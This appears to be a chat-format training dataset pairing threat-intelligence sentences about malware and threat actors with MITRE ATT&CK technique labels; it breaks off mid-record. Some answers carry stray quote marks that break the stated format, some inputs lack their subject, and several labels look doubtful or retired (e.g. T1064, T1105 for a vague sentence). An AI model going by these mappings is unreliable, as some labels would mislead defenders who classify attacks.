    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can load a DLL using the LoadLibrary API."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses VBScripts and batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has been spread through e-mail campaigns with malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have observed the following capabilities of this payload:  Get drive information Read files Write files Delete files Move files Spawn processes Create directories   Reaver TCP Payload The malicious CPL payload of Reaver has the following three exported functions:  ServiceMain CPlApplet DllEntryPoint  When the malware is initially loaded, DllEntryPoint will be called, which in turn will call a function that is responsible for decompressing a blob of data"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie encrypts command and control communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the GetUserNameW Windows API and prepends the volume serial number of the C:\\ drive"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has collected a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron can store email data in files and directories specified in its configuration, such as \"C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\\"."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect local group information by running \"net localgroup administrators\" or a series of other commands on a victim."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can use Regsvr32 to execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "makes modifications to open-source scripts from GitHub and executes them on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are 2 ways by which Linux/Ebury can choose a server where the DNS packets are sent. The second method uses an algorithm to generate a domain name dynamically. This domain name will be queried for its A and TXT records. The TXT record will be used to verify that it is under the control of the operators using public key cryptography. Details about the domain generation algorithm and the verification processed will be published later"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use a custom command and control protocol that can be encapsulated in DNS. All protocols use their standard assigned ports."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will attempt to detect if the infected host is configured to a proxy. If so,  will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used Mimikatz to dump certificates and private keys from the Windows certificate store."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the keychains on the system."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used credential dumping tools such as LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team have used previously acquired legitimate credentials prior to attacks."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's backdoor can query the Windows Registry to gather system information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Monero miner scripts are downloaded from TeamTNT’s server and piped to “bash” using a SSH session on the underlying host as the “root” user by supplying the private key from “/tmp/TeamTNT.” Later, the private key “/tmp/TeamTNT” is removed as well."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys', 'T1195 - Supply Chain Compromise', 'T1588.002 - Tool', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1021.004 - Remote Services: SSH', 'T1552.004 - Unsecured Credentials: Private Keys', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can list PHP server configuration details."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has executed C2 commands directly via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used WMI for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can secure C2 communications with SSL and TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nyetya requires user credentials to spread itself laterally via the PsExec and WMI vectors (which are detailed in the \"Malware Functionality\" section). Talos has identified three ways Nyetya can obtain these credentials. First, credentials can be manually passed in via a command line argument"
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can collect information on installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool is used to hide the threat actors’ tools and services. The tool’s configuration was added to registry run keys on a victim’s computer"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool)."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft® 365 (M365), formerly Office® 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python® scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning', 'T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has developed malware for its operations, including malicious mobile applications and destructive malware such as NotPetya and Olympic Destroyer."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used valid administrator credentials to assist in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET builds a malicious application bundle to resemble Safari through using the Safari icon and \"Info.plist\"."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to subvert controls and possibly conceal command execution by not directly invoking ."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is used to maintain access to a Meterpreter session. It is saved to C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Overwrite a file with all zeros and mark it for deletion on reboot  Wiping files with zeros and marking it for deletion on reboot.   Delete files using the DeleteFile() API Load an arbitrary library into its process space"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT logs the keystrokes on the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a list of running services with the command tasklist /svc."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has used a dynamic DNS service for C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 13: Zyklon issuing “settings” command and subsequent server response    Figure 14: Zyklon issuing “sign” command and subsequent server response    Figure 15: Zyklon issuing “ddos” command and subsequent server response Plugin Manager Zyklon downloads number of plugins from its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon has used DropBox for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can capture screenshots of the victim’s desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "05 27 28 obj32.bin obj32.bin obj64.bin Shellcode template is used by Reinstaller/Injector (rsXX.dll) and AudioRecorder4MetroApp (meXX.dll) for injecting into running processes"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used valid accounts including shared between Managed Service Providers and clients to move between the two environments."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:  The presence of any process with the keywords “v3” and “cleaner.”   Checking for antimalware or cleaner processes"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has encrypted data sent to the C2 server using a XOR key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi is capable of performing screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can deliver \"beacon\" payloads for lateral movement by leveraging remote COM execution."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can steal credentials from the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has been delivered via spearphishing attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat network traffic is Base64-encoded plaintext."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma is only delivered to a compromised host if the victim's IP address is on an allow-list."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 added credentials to OAuth Applications and Service Principals."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to compress archived screenshots."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner started the cryptomining virtual machine as a service on the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial overlap was based on the filename wmssl.exe, which was seen as an executable name that Cannon would move the wmssl.txt attachment to install and execute a secondary payload"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has executed malicious .bat files containing PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional information In the advanced stages of this research, we were able not only to observe additional files and tools from the attackers’ arsenal but also some OPSEC mistakes made by the attackers"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has embedded malicious macros in document templates, which executed VBScript. Gamaredon Group has also delivered Microsoft Outlook VBA projects with embedded macros."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Looking at the binaries for SUNBURST and TEARDROP, we’ve learned that even this wildly successful operation had its rough edges. Far from a worry-free power trip, the attackers were wary all the while of having their activity seen at all, never mind recognized for what it was; extensive blacklists of domains and processes had to be created to make sure of that"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main functionality of the macros remained the same as in a previous APT34 campaign: The malicious macros use the MouseAvailable function for evasion, and create a scheduled task to execute a payload embedded within the document"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes commands remotely on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volatile Cedar has targeted publicly facing web servers, with both automatic and manual vulnerability discovery."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
